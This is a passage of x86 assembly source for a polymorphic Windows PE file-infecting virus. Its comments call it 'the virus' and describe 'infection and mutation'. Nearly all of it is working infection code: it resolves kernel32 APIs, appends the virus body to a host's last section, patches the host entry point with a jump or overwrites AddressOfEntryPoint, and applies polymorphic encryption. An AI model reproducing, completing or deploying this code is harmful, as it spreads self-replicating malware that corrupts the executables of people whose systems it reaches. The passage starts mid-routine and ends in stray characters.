                 ;edi - Kernel32 Import Module Descriptor
                 ;
                 ;Exit:
                 ;
                 ;RVA's loaded into virus body (NULL if function not fo und)
                 ;
 
                 ;Copy virus to infection buffer
 
                 push edi
                 lea esi,dword ptr [ebp+Mem_Base]
                 lea edi,dword ptr [esi+mem_size]
                 mov ecx,inf_size-DECRYPTOR_SIZE
                 cld
                 rep movsb
                 pop edi
 
                 ;Save rva to ID_ForwarderChain field
 
                 lea eax,dword ptr [edi+ID_ForwarderChain]
                 sub eax,ebx
                 add eax,edx
                 mov dword ptr [ebp+rva_kernel32+mem_size],eax
 
                 ;Check if file is binded
 
                 mov eax,dword ptr [ebp+a_Kernel32]
                 mov esi,dword ptr[eax+IMAGE_DOS_HEADER.DH_lfanew]
                 add esi,eax
                 add esi,NT_FileHeader.FH_TimeDateStamp
                 lodsd
                 mov esi,dword ptr [edi+ID_FirstThunk]
                 sub esi,edx
                 add esi,ebx
                 cmp eax,dword ptr [edi+ID_TimeDateStamp]
                 je binded_file
 
                 ;esi - Import Address Table for KERNEL32
 
                 ;Save RVA for GetModuleHandle
 
                 push esi
                 lea edi,dword ptr [ebp+szGetModuleH]
                 call find_by_name
                 mov dword ptr [ebp+rva_GetModuleH+mem_size],eax
 
                 ;Save RVA for GetProcAddress
 
                 pop esi
                 lea edi,dword ptr [ebp+szGetProcAddr]
                 call find_by_name
                 mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax
 
                 ret
 
 binded_file:    ;esi - Import Address Table for KERNEL32
 
                 ;Binded GetModuleHandle
 
                 push esi
                 mov edi,dword ptr [ebp+a_GetModuleH]
                 call find_by_address
                 mov dword ptr [ebp+rva_GetModuleH+mem_size],eax
 
                 ;Binded GetProcAddress
 
                 pop esi
                 mov edi,dword ptr [ebp+a_GetProcAddr]
                 call find_by_address
                 mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax
 
                 ret
 
 ;······································································ ······
 ;Get RVA of an API function in a binded file
 ;······································································ ······
 
 find_by_address:;
                 ;Entry:
                 ;
                 ;edx - Delta offset for last section
                 ;esi - Import Address Table for KERNEL32
                 ;edi - Function entry point
                 ;
                 ;Exit:
                 ;
                 ;eax - RVA of function address (NULL if not found)
                 ;
 
 search_thunk:   ;Check if this is the storage address
 
                 lodsd
                 or eax,eax
                 jz err_by_address
                 cmp eax,edi
                 jne search_thunk
 
                 ;Calculate the offset of that thunk dword into file
 
                 lea eax,dword ptr [esi-00000004h]
                 sub eax,ebx
                 add eax,edx
                 ret
 
 err_by_address: xor eax,eax
                 ret
 
 ;······································································ ······
 ;Find RVA of a function imported by name
 ;······································································ ······
 
 find_by_name:   ;
                 ;Entry:
                 ;
                 ;edx - Delta offset for last section
                 ;esi - Import Address Table for KERNEL32
                 ;edi - Function name
                 ;
                 ;Exit:
                 ;
                 ;eax - RVA of function address (NULL if not found)
                 ;
 
                 ;Search for function name into IMAGE_IMPORT_BY_NAME
                 ;structure pointed by every dword in the thunk data ar ray
 
 loop_by_name:   ;Get address of IMAGE_IMPORT_BY_NAME structure
 
                 lodsd
                 or eax,eax
                 jz err_by_name
 
                 ;Get pointer to function name
 
                 push esi
                 push edi
                 sub eax,edx
                 lea esi,dword ptr [eax+ebx+00000002h]
 
                 ;Compare strings
 
 name_by_name:   lodsb
                 or al,al
                 jz ok_by_name
                 scasb
                 je name_by_name
 
                 ;Go to next entry into Import Address Table
 
                 pop edi
                 pop esi
                 jmp loop_by_name
 
 ok_by_name:     pop edi
                 pop esi
                 lea eax,dword ptr [esi-00000004h]
                 sub eax,ebx
                 add eax,edx
 err_by_name:    ret
 
 ;······································································ ······
 ;Infection and mutation
 ;······································································ ······
 
 infect_file:    ;
                 ;Entry:
                 ;
                 ;My_FindData - Win32 FindFile structure filled with da ta
                 ;              about file to infect
                 ;eax         - Base address of memory mapped image
                 ;
                 ;Exit:
                 ;
                 ;None
                 ;
 
                 ;Get last section header
 
                 mov ebx,eax
                 call get_last_sh
 
                 ;ebx - Host base address
                 ;esi - IMAGE_OPTIONAL_HEADER
                 ;edi - Pointer to last section header
 
                 ;This will help us later for calculating host base add ress
 
                 mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                 add eax,dword ptr [edi+SH_VirtualAddress]
                 sub eax,dword ptr [edi+SH_PointerToRawData]
                 add eax,init_size
                 mov dword ptr [ebp+fix_baseaddr+mem_size],eax
 
                 ;Copy original code at entry point into our buffer
 
                 mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
                 mov dword ptr [ebp+rva_org_eip+mem_size],edx
                 call RVA2RAW
                 mov esi,ecx
                 lea edi,dword ptr [ebp+entry_code+mem_size]
                 mov ecx,BUFFER_EP
                 rep movsb                
                 
                 ;Free memory mapped file
 
                 mov eax,ebx
                 call unmap_close
 
                 ;Add virus size to file size and re-map it
 
                 mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                 mov dword ptr [ebp+original_size],eax
                 add eax,inf_size
                 mov ecx,SIZE_PADDING
                 xor edx,edx
                 div ecx
                 inc eax
                 mul ecx
                 mov dword ptr [ebp+my_FindData.WFD_nFileSizeLow],eax
                 call open_map_file
                 or eax,eax
                 jnz done_re_open
                 stc
                 ret
 
 done_re_open:   ;ebx - host base address all along the following code
  
                 mov ebx,eax
 
                 ;Initialize poly engine register table
                 ;We are going to insert some garbage code at host
                 ;entry-point, followed by a JMP to polymorphic
                 ;decryptor
                 ;This routine will also initialize random number
                 ;generator
 
                 call init_poly
 
                 ;Check for relocations over entry-point code
 
                 call get_last_sh
                 mov edx,dword ptr [esi+OH_DataDirectory.        \
                                        DE_BaseReloc.            \
                                        DD_VirtualAddress]
 
                 ;Lovely file, no relocations, so we cant generate
                 ;lots of polymorphic code at host entry-point
 
                 or edx,edx
                 jz lovely_file
 
                 call RVA2RAW
                 mov edi,esi
                 mov esi,ecx
 
                 ;ebx - Host base address
                 ;ecx - Pointer to RAW data or NULL if error
                 ;edx - Section delta offset
                 ;esi - Pointer to section RAWDATA
                 ;edi - Pointer to IMAGE_OPTIONAL_HEADER
 
                 ;Check relocations over host entry-point code
 
                 call do_reloc_work
 
                 ;We have space for inserting some garbage code?
 
                 cmp eax,00000005h
                 jb fuxoring_file
 
                 ;Another lovely file, eh?
 
                 cmp eax,BUFFER_EP
                 jb ugly_file
 
 lovely_file:    ;We reach this code for 3 posible reasons:
                 ;
                 ; 1) When the target file have no relocations or...
                 ; 2) All the relocations are behind the entry-point or ...
                 ; 3) We have lots space from entry-point to 1st reloc
  
                 ;Save number of bytes to restore at host entry-point
 
                 mov dword ptr [ebp+insert_size+mem_size],BUFFER_EP
 
                 ;Get RAW of entry-point
 
                 call get_last_sh
                 mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
                 call RVA2RAW
                 mov edi,ecx
 
                 ;Generate a piece of polymorphic code at host entry-po int
 
                 push ebx
                 push edi
                 call gen_garbage
                 pop eax
                 sub eax,edi
                 pop ebx
 
                 ;Insert a jump to virus code at entry point
 
                 jmp short insert_jump
 
 ugly_file:      ;There are no relocations over first five bytes of
                 ;code at host entry-point
                 ;So we can insert a JUMP to virus polymorphic decrypto r
 
                 ;Save size of code to generate
 
                 mov dword ptr [ebp+insert_size+mem_size],00000005h
 
                 ;Where to place the JUMP
 
                 mov edx,dword ptr [edi+OH_AddressOfEntryPoint]
                 call RVA2RAW
                 mov edi,ecx
                 xor eax,eax
 
                 ;Insert a jump to virus code at entry point
 
 insert_jump:    push eax
                 mov al,0E9h
                 stosb
                 push edi
                 call get_last_sh
                 mov eax,dword ptr [ebp+original_size]
                 add eax,poly_decryptor-Mem_Base
                 sub eax,dword ptr [edi+SH_PointerToRawData]
                 add eax,dword ptr [edi+SH_VirtualAddress]
                 sub eax,dword ptr [esi+OH_AddressOfEntryPoint]
                 sub eax,00000005h
                 pop edi
                 pop edx
                 add eax,edx
                 stosd
 
                 ;Execution continues on next routine
 
 ;······································································ ······
 ;Attach virus to file
 ;······································································ ······
 
 back2infection: ;We fall here after the entry-point stuff
                 ;Complete infection and do polymorphic encryption
                                                                  
                 ;Save current system time inside virus body
 
                 lea eax,dword ptr [ebp+inf_time+mem_size]
                 push eax
                 call dword ptr [ebp+a_GetSysTime]
 
                 ;Generate polymorphic encryption
 
                 push ebx
                 call mutate
                 pop ebx
 
                 ;Get pointer to last section
 
                 call get_last_sh
 
                 ;ebx - Host base address
                 ;esi - IMAGE_OPTIONAL_HEADER
                 ;edi - Pointer to last section header
 
                 ;Get new SizeOfRawData and VirtualSize
 
                 mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                 add eax,mem_size-inf_size
                 sub eax,dword ptr [edi+SH_PointerToRawData]
                 mov edx,eax
                 cmp eax,dword ptr [edi+SH_VirtualSize]
                 jbe ok_VirtualSize
                 mov dword ptr [edi+SH_VirtualSize],eax
 ok_VirtualSize: mov eax,edx
                 xor edx,edx
                 mov ecx,dword ptr [esi+OH_FileAlignment]                 
                 div ecx
                 inc eax
                 mul ecx
                 mov dword ptr [edi+SH_SizeOfRawData],eax
 
                 ;Set section characteristics
 
                 or dword ptr [edi+SH_Characteristics], \
                        IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
 
                 ;Update OH_SizeOfImage
 
                 mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                 mov edx,dword ptr [esi+OH_SizeOfImage]               
                  cmp eax,edx
                 jae done_image_s
                 lea eax,dword ptr [edx+mem_size]                
 done_image_s:   xor edx,edx
                 mov ecx,dword ptr [esi+OH_SectionAlignment]                 
                 div ecx
                 inc eax
                 mul ecx
                 mov dword ptr [esi+OH_SizeOfImage],eax
 
                 ;Write virus into memory mapped file
 
                 mov ecx,inf_size
                 lea esi,dword ptr [ebp+Mem_Base+mem_size]
                 mov edi,ebx
                 add edi,dword ptr [ebp+original_size]
                 rep movsb
 
                 ;Free memory mapped file
 
                 mov eax,ebx
                 call unmap_close
 
                 ;Exit, file is infected
 
                 clc
                 ret
 
 ;······································································ ······
 ;Get RAW of entry
 ;······································································ ······
 
 ;······································································ ······
 ;Change the entry-point field in file header
 ;······································································ ······
 
 fuxoring_file:  ;Well, after checking relocations for this file we
                 ;found that there is a relocation over the first
                 ;five bytes of host entry-point code
 
                 ;Our buffer is ZERO bytes coz no code needs to be
                 ;restored on host execution
 
                 xor eax,eax
                 mov dword ptr [ebp+insert_size+mem_size],eax
 
                 ;Get the RVA for virus entry-point
 
                 call get_last_sh
                 mov eax,dword ptr [ebp+original_size]
                 add eax,poly_decryptor-Mem_Base
                 add eax,dword ptr [edi+SH_VirtualAddress]
                 sub eax,dword ptr [edi+SH_PointerToRawData]
 
                 ;Overwrite OH_AddressOfEntryPoint with the
                 ;virus entry point
 
                 mov dword ptr [esi+OH_AddressOfEntryPoint],eax
                 jmp back2infection
 
 ;······································································ ······
 ;Get pointer to last section header
 ;······································································ ······
 
 get_last_sh:    ;
                 ;Entry:
                 ;
                 ;ebx - Host base address
                 ;
                 ;Exit:
                 ;
                 ;esi - IMAGE_OPTIONAL_HEADER
                 ;edi - Pointer to last section header
                 ; 
 
                 mov esi,dword ptr [ebx+DH_lfanew]
                 add esi,ebx
                 cld
                 lodsd
                 movzx ecx,word ptr [esi+FH_NumberOfSections]
                 dec ecx
                 mov eax,IMAGE_SIZEOF_SECTION_HEADER
                 mul ecx
                 movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
                 add esi,IMAGE_SIZEOF_FILE_HEADER
                 add eax,edx
                 add eax,esi
                 mov edi,eax
                 ret
 
 ;······································································ ······
 ;Convert RVA to RAW
 ;······································································ ······
 
 RVA2RAW:        ;
                 ;Entry:
                 ;
                 ;ebx - Host base address
                 ;edx - RVA to convert
                 ;
                 ;Exit:
                 ;
                 ;ecx - Pointer to RAW data or NULL if error
                 ;edx - Section delta offset
                 ;esi - Pointer to IMAGE_OPTIONAL_HEADER
                 ;edi - Pointer to section header
                 ; 
 
                 cld
                 mov dword ptr [ebp+search_raw],edx
                 mov esi,dword ptr [ebx+DH_lfanew]
                 add esi,ebx
                 lodsd
                 movzx ecx,word ptr [esi+FH_NumberOfSections]
                 jecxz err_RVA2RAW
                 movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
                 add esi,IMAGE_SIZEOF_FILE_HEADER
                 add edi,esi
 
                 ;Get the IMAGE_SECTION_HEADER that contains RVA
                 ;
                 ;At this point:
                 ;
                 ;ebx - File base address
                 ;esi - Pointer to IMAGE_OPTIONAL_HEADER
                 ;edi - Pointer to first section header
                 ;ecx - Number of sections
 
 s_img_section:                  
                 ;Check if address of imports directory is inside this
                  ;section
 
                 mov eax,dword ptr [ebp+search_raw]
                 mov edx,dword ptr [edi+SH_VirtualAddress]
                 sub eax,edx
                 cmp eax,dword ptr [edi+SH_VirtualSize]
                 jb section_ok
 
 out_of_section: ;Go to next section header
 
                 add edi,IMAGE_SIZEOF_SECTION_HEADER
                 loop s_img_section
 err_RVA2RAW:    ret
 
 section_ok:     ;Get raw
 
                 mov ecx,dword ptr [edi+SH_PointerToRawData]
                 sub edx,ecx
                 add ecx,eax
                 add ecx,ebx
                 ret
 
 ;······································································ ······
 ;Do needed relocation corrections over code at host entry-point
 ;······································································ ······
 
 do_reloc_work:  ;Entry:
                 ;
                 ;ebx - host base address
                 ;esi - IMAGE_BASE_RELOCATION
                 ;edi - IMAGE_OPTIONAL_HEADER
                 ;
                 ;Exit:
                 ;
                 ;ecx - Space free of relocations at entry-point
                 ;      
 
                 ;Get IBR_VirtualAddress
 
                 cld
                 lodsd
                 mov edx,eax             
 
                 ;Get IBR_SizeOfBlock
 
                 lodsd                   
                 or eax,eax
                 jnz continue_reloc
 
                 ;We have reached the last relocation and all of them
                 ;seem to refer to virtual addresses behind the host
                 ;entry-point, so we can generate lots of polymorphic
                 ;code there
 
                 xor ecx,ecx
                 not ecx
                 ret
 
 continue_reloc: ;Get number of relocations in this block
                                                         
                 sub eax,IMAGE_SIZEOF_BASE_RELOCATION
                 shr eax,01h
                 mov ecx,eax
 
 rblock_loop:    ;Get IBR_TypeOffset
 
                 push ecx
                 xor eax,eax
                 lodsw
                 and ax,0FFFh
                 add eax,edx
                 cmp eax,dword ptr [edi+OH_AddressOfEntryPoint]
                 jae reloc_over_ep
 
 next_reloc:     ;Follow relocations chain
 
                 pop ecx
                 loop rblock_loop
                 jmp short do_reloc_work
 
 reloc_over_ep:  ;Get number of bytes from entry-point to first relocat ion
 
                 pop ecx
                 sub eax,dword ptr [edi+OH_AddressOfEntryPoint]
                 ret
                        
 ;······································································ ······
 ;Get entry point for GetProcAddress
 ;······································································ ······
 
 my_GetProcAddr: ;
                 ;Entry:
                 ;
                 ;a_Kernel32 - Base address for kernel32
                 ;
                 ;Exit:
                 ;
                 ;eax        - Entry point for GetProcAddress
                 ;             or NULL if error
                 ;
 
                 push ebx
 
                 ;Check for MZ signature at base address
 
                 cld
                 mov ebx,dword ptr [ebp+a_Kernel32]
                 cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                 jne e_GetProcAddr
 
                 ;Now go to the pe header and check for the PE signatur e
 
                 mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.DH_lfanew]
                 add esi,ebx
                 lodsd
                 cmp eax,IMAGE_NT_SIGNATURE
                 jne e_GetProcAddr
 
                 ;Get pointer to Image Export Directory and save it
 
                 add esi,NT_OptionalHeader.      \
                         OH_DirectoryEntries.    \
                         DE_Export.              \
                         DD_VirtualAddress-0004h
                 lodsd
                 add eax,ebx
                 push eax
 
                 ;Get pointer to exported function names
                 ;Also follow the AddressOfNameOrdinals array
 
                 mov ecx,dword ptr [eax+ED_NumberOfNames]
                 mov edx,dword ptr [eax+ED_AddressOfNameOrdinals]
                 add edx,ebx
                 lea esi,dword ptr [eax+ED_AddressOfNames]
                 lodsd
                 add eax,ebx                
 
 next_name:      ;Search for GetProcAddress in exported function names
  
                 push ecx
                 lea esi,dword ptr [ebp+szGetProcAddr]
                 mov edi,dword ptr [eax]
                 or edi,edi
                 jz try_next
 
 got_name_rva:   ;Get absolute address
 
                 add edi,ebx
 
                 ;Compare names
 
                 mov ecx,0000000Eh
                 repe cmpsb
                 je found_name
 
 try_next:       ;Go to next name
 
                 add eax,00000004h
                 add edx,00000002h
                 pop ecx
                 loop next_name
                 
                 ;Name not found, exit with error
 
                 pop eax
                 jmp short e_GetProcAddr
 
 found_name:     ;Ok, now edx is the index of the function, so
                 ;lets look at AddressOfNameOrdinals using that index
 
                 pop ecx
                 pop edi
 
                 ;Get ordinal for function
 
                 movzx eax,word ptr [edx]
 
                 ;Check if ordinal out of range
 
                 cmp eax,[edi+ED_NumberOfFunctions]
                 jae short e_GetProcAddr
 
                 ;This is the starting export ordinal number
 
                 sub eax,dword ptr [edi+ED_BaseOrdinal]
                 inc eax
                 shl eax,02h
 
                 ;Get address of function
 
                 mov esi,dword ptr [edi+ED_AddressOfFunctions]
                 add esi,eax
                 add esi,ebx
                 lodsd
                 add eax,ebx
                 pop ebx
                 ret
 
 e_GetProcAddr:  ;GetProcAddress not found, exit with error
 
                 xor eax,eax
                 pop ebx
                 ret
 
 ;······································································ ······
 ;Get KERNEL32 module handle if we cant get it using GetModuleHandle
 ;······································································ ······
 
 my_getkernel:   ;Get KERNEL32 base address using the ID_ForwarderChain 
                 ;
                 ;Entry:
                 ;
                 ;ebx - Base address of host in memory
                 ;
                 ;Exit:
                 ;
                 ;eax - Kernel32 base address or NULL if error
                 ;
 
                 ;Generate a mov esi,xxxx instruction
 
                 db 0BEh
 
                 ;This is just a rva that points to ID_ForwarderChain
                 ;field inside Kernel32 import module descriptor
 
 rva_kernel32    dd 00000000h
 
                 ;Get Kernel32 entry point from ID_ForwarderChain
 
                 add esi,ebx
                 lodsd
 
                 ;Check for the MZ signature
 
                 cmp word ptr [eax],IMAGE_DOS_SIGNATURE
                 jne err_getkernel
 
                 ;Now go to the pe header and check for the PE signatur e
 
                 mov esi,dword ptr [eax+DH_lfanew]
                 cmp dword ptr [esi+eax],IMAGE_NT_SIGNATURE
                 jne err_getkernel
 
                 ret
 
 err_getkernel:  ;Could not find KERNEL32 base addres :(
 
                 xor eax,eax
                 ret
 
 ;······································································ ······
 ;Get APIs entry point
 ;······································································ ······
 
 get_functions:  ;Get the entry point for all KERNEL32 API functions
                 ;used by the virus
                 ;
                 ;Entry:
                 ;
                 ;None
                 ;
                 ;Exit:
                 ;
                 ;ecx - NULL if error
                 ;
 
                 ;Dont fuck our host base address
 
                 push ebx
 
                 ;Get pointer to viral function names
 
                 lea esi,dword ptr [ebp+viral_functions]
                 lea edi,dword ptr [ebp+viral_addresses]
 
                 ;Get number of functions
 
                 mov ecx,(offset viral_tbl_end-offset viral_functions)/ 04h
 
 get_each_ep:    ;Get pointer to function name
 
                 cld
                 lodsd
                 add eax,ebp
 
                 ;Save counter and pointers
 
                 push ecx
                 push esi
                 push edi
 
                 ;Get entry point using GetProcAddress
 
                 push eax
                 push dword ptr [ebp+a_Kernel32]
                 call dword ptr [ebp+a_GetProcAddr]
 
                 ;Restore counter and pointers
 
                 pop edi
 | 
 
 
 |